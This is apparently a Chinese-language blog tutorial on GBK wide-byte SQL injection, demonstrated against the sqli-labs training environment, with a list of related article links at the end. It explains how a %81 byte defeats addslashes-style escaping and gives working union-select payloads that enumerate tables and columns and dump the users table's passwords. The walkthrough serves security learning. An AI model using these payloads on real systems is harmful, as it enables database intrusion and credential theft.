SQL宽字节注入
0x00 概述
- 什么是宽字节注入?
宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可
-宽字节注入的条件
1) 数据库查询设置为GBK编码
2) 使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()这类的过滤函数
- 宽字节注入的原理
假设我们传递一个参数id=1’,当我们输入这个单引号的时候,那么会被认为是非法的字符,会被过滤函数添加“/”给过滤掉,所以我们想要程序接受我们传递的参数里面包含单引号,那么就需要把这个转义字符“/”给干掉,那如何才能干掉?当http协议传输的时候,要经过url编码的,如果这个编码完成后,传递到服务器时,有奇数个数,它会把前面偶数个数的字符当作gbk编码去解码,那么剩下的就当作普通的url去编码,所以我们就可以在单引号之前添加一个%81这样的编码,这样当最后解码的时候,这个%81就会和“/”对应的编码相结合按照gbk的要求去解码,最后就只剩下个单引号,也就得到了我们想要的结果!
0x01 利用sqli-lab的实验环境实现宽字节注入
0x02 实战演练
1、首先观察正常访问的页面
2、给参数1后面添加一个单引号,观察页面变化:可以看到单引号前面多了一个\的转义字符,那么可以判断后台在处理参数的时候使用了过滤函数进行转义过滤
3、根据之前原理的分析,利用gbk编码的特性来试一下,在‘前面增加一个%81的编码
4、上一步好像那样做过后也没看出什么异常,只是多了一个不认识的符号,这应该是和浏览器页面的编码方式有关,由于我利用的是gbk编码的特性,所以我把页面的编码改成gbk再来看看效果
那么其实更改编码过后,之前的转义符其实就是和%81结合按照gbk的解码方式变成了一个汉字,所以我们输入的单引号就得以逃过过滤函数的转义
5、那么弄明白上面的问题过后,就可以开始一步步的去构造sql语句去查询数据库里面的信息了,在这里选择通过结合union联合查询来注入
1)由于联合查询需要满足列相同,以及类型相似,所以需要先判断一下
构造的sql语句:1%81' union select 1--+
报了列不匹配的错误,那么继续增加,直到不报错为止如下:
当sql语句:1%81' union select 1,3,2--+ 时就没有报错了,说明列匹配了
3)注入得到数据库名字:security
构造的sql语句:%81' union select 1,user(),database()--+
4)得到数据库里面的表名:emails,referers,uagents,users
构造的sql语句:%81' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()--+
5)得到数据库的表里面的列名,这里以user来演示
构造的sql语句:%81' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='user'--+
当我这样做的时候,发现报错了,我的table_name的参数使用了引号,那这里的这个引号如何处理呢?我尝试了一下,利用前面的方法不行,所以这里就只能将user进行16进制转码来解决,也就是将‘user’使用0x 75736572来代替;75736572对应的就是user
更改后的sql语句:最后我又添加了一个数据库名的条件,因为只要那个数据库里的users的字段
%81' union select 1,group_concat(column_name),1 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+
最后得到的列名就是:id,username,password
6)得到数据库名,得到表名字和列名字,那么再继续得到数据的内容就跟容易了,如下:
构造的sql语句:%81' union select 1,group_concat(password),1 from users--+
最后成功得到users表里面的PASSWORD字段的数据如下:
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
SQL宽字节注入的更多相关文章
- sql宽字节注入,绕过单引号
参加下面: http://leapar.lofter.com/post/122a03_3028a9 http://huaidan.org/archives/2268.html https://ilia ...
- PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击
首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 ...
- SQL注入--宽字节注入
PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入
0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...
- Sql 注入详解:宽字节注入+二次注入
sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...
- SQL注入:宽字节注入
了解GBK编码 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的 ...
- CTF—WEB—sql注入之宽字节注入
宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...
- GBK宽字节注入SQL
SQL注入:宽字节注入(GBK双字节绕过) 2015-06-09lyiang 宽字节注入的作用是非常大的,实际上在代码层的防御一般不外乎两种,一是反斜杠转义,而就是replace替换成空字节,之前的替 ...
- SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入
1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...
随机推荐
- setfacl 命令的常用用法
setfacl命令----可以用来细分linux下的文件权限. chmod命令----可以把文件权限分为u,g,o三个组,而setfacl可以对每一个文件或目录设置更精确的文件权限. 换句话说,set ...
- LNMP-day3-php扩展缓存插件
perl的编译问题 [root@localhost php5.6.33]# echo 'export LC_ALL=C' >> /etc/profile #设置环境变量,解决后面perl ...
- LVS跨网段DR模式并使用ldirectord实现RS高可用性
DR模型的工作过程: Client向VIP发起请求,请求被路由器接收到,转发给不同网段的Director的VIP,Director再通过私有网络转给RS服务器,RS服务器处理请求并通过自身配置的VIP ...
- Visual Studio Code (vscode)编译C++
Visual Studio Code (简称 VS Code / VSC) 是一款免费开源的现代化轻量级代码编辑器,支持几乎所有主流的开发语言的语法高亮.智能代码补全.自定义热键.括号匹配.代码片段. ...
- December 17th 2016 Week 51st Saturday
Great minds have purpose, others only have wishes. 杰出的人有着目标,其他人只拥有愿望. Are you clear about the differ ...
- 远程调用内核接口的封装类(RCKObjs)
RCK 包括 Application, Function, Connection, Command, Response 和 Fields 六 大类, 其主要功能例如以下: a. Applica ...
- Guava包学习--EventBus
之前没用过这个EventBus,然后看了一下EventBus的源码也没看明白,(-__-)b.反正大概就是弄一个优雅的方式实现了观察者模式吧.慢慢深入学习一下. 观察者模式其实就是生产者消费者的一个变 ...
- 【[HNOI2004]敲砖块】
非常巧妙的\(dp\)顺序 这道题如果按照最正常的顺序来\(dp\)的话,显然是没有办法做的,后效性太大了 所以我们可以巧妙的改变\(dp\)的顺序 我们注意到一个位置\((i,j)\)要被打到的话就 ...
- burpsuit常用功能
1.生成GET数据包:复制url -> 打开burp -> repeater -> 右键paste url as request 2.生成POST数据包:生成一个GET数据包 -&g ...
- [19/04/16-星期二] 注解机制(Annotation,区别于comment(传统意义上的注释))
一.概念 作用: ——不是程序本身,可以对程序作出解释.(这一点和注释没什么区别) ——可以被其它程序(比如编译器)读取,这是区别于注释的最重要的一点. 格式: ——"@注释名" ...










